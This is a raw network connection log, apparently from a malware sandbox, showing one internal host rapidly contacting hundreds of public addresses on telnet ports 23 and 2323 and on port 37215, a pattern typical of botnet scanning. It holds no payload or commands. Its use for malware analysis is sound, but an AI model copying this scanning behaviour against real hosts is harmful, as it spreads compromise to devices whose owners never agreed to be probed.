Dec 4, 2024 20:34:38.870954037 CET	60787	23	192.168.2.14	114.135.7.121
Dec 4, 2024 20:34:38.870963097 CET	60787	23	192.168.2.14	32.238.57.95
Dec 4, 2024 20:34:38.870965004 CET	60787	23	192.168.2.14	126.137.233.94
Dec 4, 2024 20:34:38.870965004 CET	60787	23	192.168.2.14	102.182.146.203
Dec 4, 2024 20:34:38.870974064 CET	60787	23	192.168.2.14	38.69.38.34
Dec 4, 2024 20:34:38.870978117 CET	60787	2323	192.168.2.14	179.255.183.182
Dec 4, 2024 20:34:38.870990038 CET	60787	23	192.168.2.14	184.147.190.227
Dec 4, 2024 20:34:38.870991945 CET	60787	23	192.168.2.14	157.33.96.171
Dec 4, 2024 20:34:38.870999098 CET	60787	23	192.168.2.14	122.92.181.64
Dec 4, 2024 20:34:38.870999098 CET	60787	23	192.168.2.14	90.46.20.187
Dec 4, 2024 20:34:38.870999098 CET	60787	23	192.168.2.14	193.38.229.25
Dec 4, 2024 20:34:38.871012926 CET	60787	23	192.168.2.14	149.144.79.156
Dec 4, 2024 20:34:38.871016026 CET	60787	23	192.168.2.14	74.109.17.98
Dec 4, 2024 20:34:38.871016026 CET	60787	23	192.168.2.14	88.69.57.165
Dec 4, 2024 20:34:38.871023893 CET	60787	23	192.168.2.14	200.167.63.131
Dec 4, 2024 20:34:38.871047020 CET	60787	2323	192.168.2.14	66.205.115.60
Dec 4, 2024 20:34:38.871057987 CET	60787	23	192.168.2.14	37.116.106.110
Dec 4, 2024 20:34:38.871058941 CET	60787	23	192.168.2.14	107.116.16.255
Dec 4, 2024 20:34:38.871062994 CET	60787	23	192.168.2.14	87.169.8.244
Dec 4, 2024 20:34:38.871063948 CET	60787	23	192.168.2.14	27.144.85.16
Dec 4, 2024 20:34:38.871063948 CET	60787	23	192.168.2.14	107.95.170.49
Dec 4, 2024 20:34:38.871066093 CET	60787	23	192.168.2.14	41.200.59.217
Dec 4, 2024 20:34:38.871067047 CET	60787	23	192.168.2.14	98.155.13.189
Dec 4, 2024 20:34:38.871068954 CET	60787	23	192.168.2.14	69.133.64.200
Dec 4, 2024 20:34:38.871072054 CET	60787	23	192.168.2.14	126.78.146.153
Dec 4, 2024 20:34:38.871112108 CET	59622	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.871145010 CET	2323	37718	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.871417999 CET	59634	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.871805906 CET	58960	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.871809006 CET	33526	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.871902943 CET	23	43120	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.872102976 CET	33542	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.872531891 CET	37718	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.872817039 CET	37730	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.873199940 CET	43120	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.873493910 CET	43132	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.927088976 CET	23	51076	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.927180052 CET	51076	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.927525043 CET	51088	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.958466053 CET	37215	38744	197.52.167.29	192.168.2.14
Dec 4, 2024 20:34:38.958513021 CET	37215	56966	156.144.78.212	192.168.2.14
Dec 4, 2024 20:34:38.958523035 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:38.958559036 CET	60275	37215	192.168.2.14	197.159.102.8
Dec 4, 2024 20:34:38.958568096 CET	60275	37215	192.168.2.14	41.36.130.108
Dec 4, 2024 20:34:38.958569050 CET	60275	37215	192.168.2.14	156.192.76.36
Dec 4, 2024 20:34:38.958569050 CET	60275	37215	192.168.2.14	197.106.88.198
Dec 4, 2024 20:34:38.958569050 CET	60275	37215	192.168.2.14	197.132.17.63
Dec 4, 2024 20:34:38.958570957 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:38.958570957 CET	60275	37215	192.168.2.14	41.111.44.172
Dec 4, 2024 20:34:38.958579063 CET	60275	37215	192.168.2.14	197.160.74.81
Dec 4, 2024 20:34:38.958583117 CET	60275	37215	192.168.2.14	156.40.181.222
Dec 4, 2024 20:34:38.958585024 CET	60275	37215	192.168.2.14	197.184.218.136
Dec 4, 2024 20:34:38.958589077 CET	60275	37215	192.168.2.14	41.61.252.13
Dec 4, 2024 20:34:38.958589077 CET	60275	37215	192.168.2.14	156.73.172.225
Dec 4, 2024 20:34:38.958586931 CET	60275	37215	192.168.2.14	197.41.205.195
Dec 4, 2024 20:34:38.958594084 CET	37215	34870	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:38.958606005 CET	60275	37215	192.168.2.14	197.234.180.19
Dec 4, 2024 20:34:38.958609104 CET	60275	37215	192.168.2.14	156.141.143.206
Dec 4, 2024 20:34:38.958610058 CET	60275	37215	192.168.2.14	156.39.33.177
Dec 4, 2024 20:34:38.958610058 CET	60275	37215	192.168.2.14	197.253.40.11
Dec 4, 2024 20:34:38.958621979 CET	60275	37215	192.168.2.14	41.173.176.31
Dec 4, 2024 20:34:38.958633900 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:38.958641052 CET	60275	37215	192.168.2.14	197.55.105.57
Dec 4, 2024 20:34:38.958641052 CET	60275	37215	192.168.2.14	197.170.218.4
Dec 4, 2024 20:34:38.958647966 CET	60275	37215	192.168.2.14	197.94.227.151
Dec 4, 2024 20:34:38.958659887 CET	60275	37215	192.168.2.14	156.117.155.8
Dec 4, 2024 20:34:38.958661079 CET	60275	37215	192.168.2.14	197.172.246.11
Dec 4, 2024 20:34:38.958661079 CET	60275	37215	192.168.2.14	41.43.123.176
Dec 4, 2024 20:34:38.958683968 CET	60275	37215	192.168.2.14	41.18.253.143
Dec 4, 2024 20:34:38.958683968 CET	60275	37215	192.168.2.14	197.104.231.234
Dec 4, 2024 20:34:38.958686113 CET	60275	37215	192.168.2.14	41.125.227.51
Dec 4, 2024 20:34:38.958686113 CET	60275	37215	192.168.2.14	197.20.61.171
Dec 4, 2024 20:34:38.958692074 CET	60275	37215	192.168.2.14	156.232.110.237
Dec 4, 2024 20:34:38.958693027 CET	60275	37215	192.168.2.14	156.118.103.47
Dec 4, 2024 20:34:38.958698988 CET	60275	37215	192.168.2.14	197.37.179.158
Dec 4, 2024 20:34:38.958698988 CET	60275	37215	192.168.2.14	41.152.61.170
Dec 4, 2024 20:34:38.958703995 CET	60275	37215	192.168.2.14	197.162.118.170
Dec 4, 2024 20:34:38.958703995 CET	60275	37215	192.168.2.14	197.4.254.14
Dec 4, 2024 20:34:38.958712101 CET	60275	37215	192.168.2.14	197.137.30.119
Dec 4, 2024 20:34:38.958712101 CET	60275	37215	192.168.2.14	197.132.156.216
Dec 4, 2024 20:34:38.958714962 CET	60275	37215	192.168.2.14	41.60.84.185
Dec 4, 2024 20:34:38.958714962 CET	60275	37215	192.168.2.14	197.177.149.105
Dec 4, 2024 20:34:38.958719015 CET	60275	37215	192.168.2.14	156.183.233.79
Dec 4, 2024 20:34:38.958719015 CET	60275	37215	192.168.2.14	197.191.199.126
Dec 4, 2024 20:34:38.958719969 CET	60275	37215	192.168.2.14	41.25.193.51
Dec 4, 2024 20:34:38.958731890 CET	60275	37215	192.168.2.14	41.19.142.20
Dec 4, 2024 20:34:38.958733082 CET	60275	37215	192.168.2.14	41.11.141.9
Dec 4, 2024 20:34:38.958733082 CET	60275	37215	192.168.2.14	197.158.68.143
Dec 4, 2024 20:34:38.958740950 CET	60275	37215	192.168.2.14	41.155.32.138
Dec 4, 2024 20:34:38.958751917 CET	60275	37215	192.168.2.14	41.228.35.76
Dec 4, 2024 20:34:38.958754063 CET	60275	37215	192.168.2.14	41.99.91.14
Dec 4, 2024 20:34:38.958754063 CET	60275	37215	192.168.2.14	156.217.52.7
Dec 4, 2024 20:34:38.958759069 CET	60275	37215	192.168.2.14	197.203.119.88
Dec 4, 2024 20:34:38.958775997 CET	60275	37215	192.168.2.14	156.159.63.255
Dec 4, 2024 20:34:38.958776951 CET	60275	37215	192.168.2.14	197.10.145.151
Dec 4, 2024 20:34:38.958776951 CET	60275	37215	192.168.2.14	41.245.242.177
Dec 4, 2024 20:34:38.958775997 CET	60275	37215	192.168.2.14	41.190.90.91
Dec 4, 2024 20:34:38.958776951 CET	60275	37215	192.168.2.14	41.160.74.80
Dec 4, 2024 20:34:38.958782911 CET	60275	37215	192.168.2.14	41.239.29.50
Dec 4, 2024 20:34:38.958782911 CET	60275	37215	192.168.2.14	156.59.120.238
Dec 4, 2024 20:34:38.958784103 CET	60275	37215	192.168.2.14	41.179.46.93
Dec 4, 2024 20:34:38.958786964 CET	60275	37215	192.168.2.14	156.169.225.178
Dec 4, 2024 20:34:38.958786964 CET	60275	37215	192.168.2.14	156.69.62.162
Dec 4, 2024 20:34:38.958794117 CET	60275	37215	192.168.2.14	156.123.119.108
Dec 4, 2024 20:34:38.958802938 CET	60275	37215	192.168.2.14	41.169.222.53
Dec 4, 2024 20:34:38.958808899 CET	60275	37215	192.168.2.14	156.18.18.201
Dec 4, 2024 20:34:38.958808899 CET	60275	37215	192.168.2.14	197.61.28.121
Dec 4, 2024 20:34:38.958808899 CET	60275	37215	192.168.2.14	197.157.165.170
Dec 4, 2024 20:34:38.958815098 CET	60275	37215	192.168.2.14	41.107.175.117
Dec 4, 2024 20:34:38.958822966 CET	37215	47954	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:38.958827019 CET	60275	37215	192.168.2.14	41.147.130.198
Dec 4, 2024 20:34:38.958830118 CET	60275	37215	192.168.2.14	156.52.112.123
Dec 4, 2024 20:34:38.958834887 CET	60275	37215	192.168.2.14	197.97.231.128
Dec 4, 2024 20:34:38.958839893 CET	60275	37215	192.168.2.14	197.24.29.65
Dec 4, 2024 20:34:38.958848000 CET	60275	37215	192.168.2.14	156.164.80.255
Dec 4, 2024 20:34:38.958848000 CET	60275	37215	192.168.2.14	197.213.142.116
Dec 4, 2024 20:34:38.958856106 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:38.958857059 CET	37215	56810	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:38.958864927 CET	60275	37215	192.168.2.14	197.84.253.70
Dec 4, 2024 20:34:38.958868980 CET	60275	37215	192.168.2.14	197.101.184.83
Dec 4, 2024 20:34:38.958868980 CET	60275	37215	192.168.2.14	156.239.204.64
Dec 4, 2024 20:34:38.958877087 CET	60275	37215	192.168.2.14	41.114.51.113
Dec 4, 2024 20:34:38.958877087 CET	60275	37215	192.168.2.14	41.158.98.237
Dec 4, 2024 20:34:38.958880901 CET	37215	59100	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:38.958880901 CET	60275	37215	192.168.2.14	156.82.17.222
Dec 4, 2024 20:34:38.958892107 CET	60275	37215	192.168.2.14	197.44.139.245
Dec 4, 2024 20:34:38.958892107 CET	60275	37215	192.168.2.14	156.73.48.105
Dec 4, 2024 20:34:38.958895922 CET	60275	37215	192.168.2.14	41.208.195.39
Dec 4, 2024 20:34:38.958900928 CET	60275	37215	192.168.2.14	197.248.225.177
Dec 4, 2024 20:34:38.958900928 CET	37215	40210	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:38.958905935 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:38.958905935 CET	60275	37215	192.168.2.14	197.63.70.232
Dec 4, 2024 20:34:38.958909035 CET	60275	37215	192.168.2.14	156.128.204.77
Dec 4, 2024 20:34:38.958916903 CET	60275	37215	192.168.2.14	197.84.92.41
Dec 4, 2024 20:34:38.958919048 CET	60275	37215	192.168.2.14	156.149.75.215
Dec 4, 2024 20:34:38.958930016 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:38.958930016 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:38.958940029 CET	60275	37215	192.168.2.14	156.190.216.242
Dec 4, 2024 20:34:38.958940983 CET	60275	37215	192.168.2.14	197.61.228.231
Dec 4, 2024 20:34:38.958941936 CET	37215	50672	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:38.958945990 CET	60275	37215	192.168.2.14	41.179.222.188
Dec 4, 2024 20:34:38.958957911 CET	37215	35414	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:38.958959103 CET	60275	37215	192.168.2.14	197.230.12.134
Dec 4, 2024 20:34:38.958960056 CET	60275	37215	192.168.2.14	197.80.102.125
Dec 4, 2024 20:34:38.958961010 CET	60275	37215	192.168.2.14	197.149.39.54
Dec 4, 2024 20:34:38.958964109 CET	60275	37215	192.168.2.14	156.126.35.12
Dec 4, 2024 20:34:38.958965063 CET	60275	37215	192.168.2.14	156.102.248.33
Dec 4, 2024 20:34:38.958967924 CET	60275	37215	192.168.2.14	197.111.142.30
Dec 4, 2024 20:34:38.958976984 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:38.958976984 CET	60275	37215	192.168.2.14	156.109.52.189
Dec 4, 2024 20:34:38.958980083 CET	60275	37215	192.168.2.14	156.162.6.184
Dec 4, 2024 20:34:38.958980083 CET	60275	37215	192.168.2.14	156.160.68.5
Dec 4, 2024 20:34:38.958987951 CET	60275	37215	192.168.2.14	156.246.164.46
Dec 4, 2024 20:34:38.958987951 CET	60275	37215	192.168.2.14	197.42.112.52
Dec 4, 2024 20:34:38.958990097 CET	60275	37215	192.168.2.14	156.136.121.178
Dec 4, 2024 20:34:38.958990097 CET	60275	37215	192.168.2.14	41.166.229.18
Dec 4, 2024 20:34:38.958990097 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:38.958990097 CET	60275	37215	192.168.2.14	156.179.10.94
Dec 4, 2024 20:34:38.958990097 CET	60275	37215	192.168.2.14	156.108.192.40
Dec 4, 2024 20:34:38.958996058 CET	60275	37215	192.168.2.14	41.116.95.203
Dec 4, 2024 20:34:38.958996058 CET	60275	37215	192.168.2.14	156.203.16.94
Dec 4, 2024 20:34:38.959012032 CET	37215	53624	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:38.959012032 CET	60275	37215	192.168.2.14	197.102.215.147
Dec 4, 2024 20:34:38.959018946 CET	60275	37215	192.168.2.14	197.128.229.152
Dec 4, 2024 20:34:38.959018946 CET	60275	37215	192.168.2.14	156.198.57.215
Dec 4, 2024 20:34:38.959021091 CET	60275	37215	192.168.2.14	41.139.160.159
Dec 4, 2024 20:34:38.959021091 CET	60275	37215	192.168.2.14	156.41.102.232
Dec 4, 2024 20:34:38.959022999 CET	60275	37215	192.168.2.14	197.160.129.144
Dec 4, 2024 20:34:38.959028959 CET	60275	37215	192.168.2.14	197.163.158.100
Dec 4, 2024 20:34:38.959042072 CET	60275	37215	192.168.2.14	156.113.6.163
Dec 4, 2024 20:34:38.959044933 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:38.959047079 CET	60275	37215	192.168.2.14	41.40.82.205
Dec 4, 2024 20:34:38.959053040 CET	60275	37215	192.168.2.14	41.101.253.230
Dec 4, 2024 20:34:38.959053040 CET	60275	37215	192.168.2.14	156.245.82.126
Dec 4, 2024 20:34:38.959053993 CET	60275	37215	192.168.2.14	156.119.29.232
Dec 4, 2024 20:34:38.959053993 CET	60275	37215	192.168.2.14	197.79.64.13
Dec 4, 2024 20:34:38.959058046 CET	60275	37215	192.168.2.14	156.20.140.164
Dec 4, 2024 20:34:38.959057093 CET	60275	37215	192.168.2.14	41.183.208.162
Dec 4, 2024 20:34:38.959067106 CET	60275	37215	192.168.2.14	197.130.61.51
Dec 4, 2024 20:34:38.959074974 CET	60275	37215	192.168.2.14	197.230.230.60
Dec 4, 2024 20:34:38.959074974 CET	60275	37215	192.168.2.14	197.203.97.87
Dec 4, 2024 20:34:38.959081888 CET	37215	40674	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:38.959084988 CET	60275	37215	192.168.2.14	41.70.125.70
Dec 4, 2024 20:34:38.959091902 CET	37215	55366	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:38.959098101 CET	60275	37215	192.168.2.14	197.251.134.90
Dec 4, 2024 20:34:38.959100008 CET	60275	37215	192.168.2.14	156.138.154.22
Dec 4, 2024 20:34:38.959099054 CET	60275	37215	192.168.2.14	156.109.94.48
Dec 4, 2024 20:34:38.959106922 CET	60275	37215	192.168.2.14	41.240.123.78
Dec 4, 2024 20:34:38.959106922 CET	60275	37215	192.168.2.14	156.140.104.155
Dec 4, 2024 20:34:38.959110022 CET	60275	37215	192.168.2.14	156.43.44.82
Dec 4, 2024 20:34:38.959110022 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:38.959130049 CET	60275	37215	192.168.2.14	156.238.235.17
Dec 4, 2024 20:34:38.959130049 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:38.959131002 CET	60275	37215	192.168.2.14	197.55.97.235
Dec 4, 2024 20:34:38.959131956 CET	60275	37215	192.168.2.14	197.196.33.88
Dec 4, 2024 20:34:38.959132910 CET	60275	37215	192.168.2.14	156.73.132.160
Dec 4, 2024 20:34:38.959134102 CET	60275	37215	192.168.2.14	197.52.146.4
Dec 4, 2024 20:34:38.959134102 CET	60275	37215	192.168.2.14	41.108.160.173
Dec 4, 2024 20:34:38.959134102 CET	60275	37215	192.168.2.14	156.158.100.241
Dec 4, 2024 20:34:38.959136009 CET	60275	37215	192.168.2.14	41.235.241.17
Dec 4, 2024 20:34:38.959137917 CET	60275	37215	192.168.2.14	197.185.45.114
Dec 4, 2024 20:34:38.959137917 CET	60275	37215	192.168.2.14	156.85.12.202
Dec 4, 2024 20:34:38.959137917 CET	60275	37215	192.168.2.14	41.128.173.17
Dec 4, 2024 20:34:38.959156990 CET	60275	37215	192.168.2.14	41.244.166.2
Dec 4, 2024 20:34:38.959158897 CET	60275	37215	192.168.2.14	156.49.170.213
Dec 4, 2024 20:34:38.959158897 CET	60275	37215	192.168.2.14	41.148.39.123
Dec 4, 2024 20:34:38.959162951 CET	60275	37215	192.168.2.14	197.247.225.225
Dec 4, 2024 20:34:38.959163904 CET	60275	37215	192.168.2.14	156.90.243.223
Dec 4, 2024 20:34:38.959167004 CET	60275	37215	192.168.2.14	41.178.92.20
Dec 4, 2024 20:34:38.959168911 CET	60275	37215	192.168.2.14	197.187.30.75
Dec 4, 2024 20:34:38.959172010 CET	60275	37215	192.168.2.14	41.223.43.238
Dec 4, 2024 20:34:38.959184885 CET	60275	37215	192.168.2.14	156.164.113.101
Dec 4, 2024 20:34:38.959186077 CET	60275	37215	192.168.2.14	156.203.139.238
Dec 4, 2024 20:34:38.959187031 CET	60275	37215	192.168.2.14	41.108.169.35
Dec 4, 2024 20:34:38.959192038 CET	60275	37215	192.168.2.14	156.147.62.167
Dec 4, 2024 20:34:38.959206104 CET	60275	37215	192.168.2.14	197.111.75.153
Dec 4, 2024 20:34:38.959207058 CET	60275	37215	192.168.2.14	156.146.15.66
Dec 4, 2024 20:34:38.959206104 CET	60275	37215	192.168.2.14	156.106.107.254
Dec 4, 2024 20:34:38.959211111 CET	60275	37215	192.168.2.14	41.107.65.158
Dec 4, 2024 20:34:38.959214926 CET	60275	37215	192.168.2.14	156.15.27.226
Dec 4, 2024 20:34:38.959214926 CET	60275	37215	192.168.2.14	197.209.162.131
Dec 4, 2024 20:34:38.959228992 CET	60275	37215	192.168.2.14	197.251.197.177
Dec 4, 2024 20:34:38.959233046 CET	60275	37215	192.168.2.14	197.241.186.72
Dec 4, 2024 20:34:38.959336996 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:38.959362030 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:38.959362030 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:38.959681034 CET	39286	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:38.960005045 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:38.960005045 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:38.960268974 CET	57506	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:38.960581064 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:38.960581064 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:38.960834026 CET	48490	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:38.961142063 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:38.961142063 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:38.961411953 CET	35406	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:38.961726904 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:38.961726904 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:38.961990118 CET	57342	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:38.962299109 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:38.962299109 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:38.962543011 CET	40740	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:38.962853909 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:38.962853909 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:38.963079929 CET	51202	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:38.963401079 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:38.963401079 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:38.963649988 CET	59626	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:38.963956118 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:38.963956118 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:38.964215994 CET	54148	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:38.964524984 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:38.964524984 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:38.964776039 CET	35938	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:38.965089083 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:38.965089083 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:38.965334892 CET	41194	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:38.991321087 CET	23	47248	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.991774082 CET	23	47262	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.991837025 CET	47262	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.992464066 CET	23	60787	157.198.4.85	192.168.2.14
Dec 4, 2024 20:34:38.992502928 CET	60787	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:38.992530107 CET	2323	60787	67.97.243.94	192.168.2.14
Dec 4, 2024 20:34:38.992544889 CET	23	60787	119.253.76.176	192.168.2.14
Dec 4, 2024 20:34:38.992554903 CET	23	60787	85.14.177.62	192.168.2.14
Dec 4, 2024 20:34:38.992563963 CET	23	60787	147.164.242.216	192.168.2.14
Dec 4, 2024 20:34:38.992574930 CET	60787	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:38.992580891 CET	23	60787	34.60.90.121	192.168.2.14
Dec 4, 2024 20:34:38.992585897 CET	60787	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:38.992593050 CET	60787	23	192.168.2.14	85.14.177.62
Dec 4, 2024 20:34:38.992599010 CET	23	60787	182.190.51.84	192.168.2.14
Dec 4, 2024 20:34:38.992599010 CET	60787	23	192.168.2.14	147.164.242.216
Dec 4, 2024 20:34:38.992610931 CET	23	60787	211.210.126.97	192.168.2.14
Dec 4, 2024 20:34:38.992611885 CET	60787	23	192.168.2.14	34.60.90.121
Dec 4, 2024 20:34:38.992638111 CET	60787	23	192.168.2.14	182.190.51.84
Dec 4, 2024 20:34:38.992640018 CET	23	60787	2.81.224.95	192.168.2.14
Dec 4, 2024 20:34:38.992646933 CET	60787	23	192.168.2.14	211.210.126.97
Dec 4, 2024 20:34:38.992671967 CET	60787	23	192.168.2.14	2.81.224.95
Dec 4, 2024 20:34:38.992687941 CET	23	60787	142.160.149.30	192.168.2.14
Dec 4, 2024 20:34:38.992698908 CET	23	60787	121.206.25.93	192.168.2.14
Dec 4, 2024 20:34:38.992711067 CET	2323	60787	149.53.194.109	192.168.2.14
Dec 4, 2024 20:34:38.992729902 CET	60787	23	192.168.2.14	121.206.25.93
Dec 4, 2024 20:34:38.992733955 CET	60787	23	192.168.2.14	142.160.149.30
Dec 4, 2024 20:34:38.992746115 CET	60787	2323	192.168.2.14	149.53.194.109
Dec 4, 2024 20:34:38.993050098 CET	23	60787	20.187.217.89	192.168.2.14
Dec 4, 2024 20:34:38.993061066 CET	23	60787	151.169.93.44	192.168.2.14
Dec 4, 2024 20:34:38.993065119 CET	23	60787	31.124.108.159	192.168.2.14
Dec 4, 2024 20:34:38.993083954 CET	23	60787	91.192.155.85	192.168.2.14
Dec 4, 2024 20:34:38.993097067 CET	60787	23	192.168.2.14	20.187.217.89
Dec 4, 2024 20:34:38.993098021 CET	60787	23	192.168.2.14	151.169.93.44
Dec 4, 2024 20:34:38.993098021 CET	60787	23	192.168.2.14	31.124.108.159
Dec 4, 2024 20:34:38.993107080 CET	23	60787	179.134.165.203	192.168.2.14
Dec 4, 2024 20:34:38.993122101 CET	60787	23	192.168.2.14	91.192.155.85
Dec 4, 2024 20:34:38.993144989 CET	60787	23	192.168.2.14	179.134.165.203
Dec 4, 2024 20:34:38.993182898 CET	23	59622	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.993262053 CET	23	59634	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.993308067 CET	59634	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.993522882 CET	23	58960	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.993549109 CET	23	33526	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.993638992 CET	54254	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:38.994313955 CET	53738	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:38.994467020 CET	2323	37718	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.994956970 CET	23	43120	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.994961977 CET	58142	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:38.995646954 CET	40108	23	192.168.2.14	85.14.177.62
Dec 4, 2024 20:34:38.996275902 CET	42200	23	192.168.2.14	147.164.242.216
Dec 4, 2024 20:34:38.996968985 CET	45608	23	192.168.2.14	34.60.90.121
Dec 4, 2024 20:34:38.998203039 CET	44468	2323	192.168.2.14	121.46.177.162
Dec 4, 2024 20:34:39.048813105 CET	23	51076	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:39.049051046 CET	23	51088	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:39.049114943 CET	51088	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:39.062203884 CET	46664	23	192.168.2.14	53.81.184.127
Dec 4, 2024 20:34:39.062207937 CET	59076	23	192.168.2.14	178.184.24.80
Dec 4, 2024 20:34:39.062211990 CET	40510	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:39.062216043 CET	36994	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:39.062216043 CET	34172	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:39.062228918 CET	39968	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:39.062236071 CET	58010	23	192.168.2.14	92.243.201.93
Dec 4, 2024 20:34:39.062238932 CET	38080	23	192.168.2.14	5.22.169.122
Dec 4, 2024 20:34:39.062242985 CET	33210	23	192.168.2.14	27.48.39.174
Dec 4, 2024 20:34:39.062244892 CET	36698	2323	192.168.2.14	123.52.228.250
Dec 4, 2024 20:34:39.062246084 CET	55450	23	192.168.2.14	189.75.225.228
Dec 4, 2024 20:34:39.062246084 CET	39264	23	192.168.2.14	148.152.31.68
Dec 4, 2024 20:34:39.062251091 CET	35682	23	192.168.2.14	186.118.142.14
Dec 4, 2024 20:34:39.062252045 CET	50170	2323	192.168.2.14	161.11.19.119
Dec 4, 2024 20:34:39.062253952 CET	43720	23	192.168.2.14	192.52.34.210
Dec 4, 2024 20:34:39.062258959 CET	48222	23	192.168.2.14	172.136.149.20
Dec 4, 2024 20:34:39.062261105 CET	47512	23	192.168.2.14	201.185.25.246
Dec 4, 2024 20:34:39.062268019 CET	51692	23	192.168.2.14	120.100.34.2
Dec 4, 2024 20:34:39.062274933 CET	50466	23	192.168.2.14	73.250.169.5
Dec 4, 2024 20:34:39.062274933 CET	39774	23	192.168.2.14	38.190.242.142
Dec 4, 2024 20:34:39.062278986 CET	38182	23	192.168.2.14	154.132.128.218
Dec 4, 2024 20:34:39.062284946 CET	33176	23	192.168.2.14	135.235.221.33
Dec 4, 2024 20:34:39.062293053 CET	36794	23	192.168.2.14	156.118.206.190
Dec 4, 2024 20:34:39.079081059 CET	37215	60275	197.159.102.8	192.168.2.14
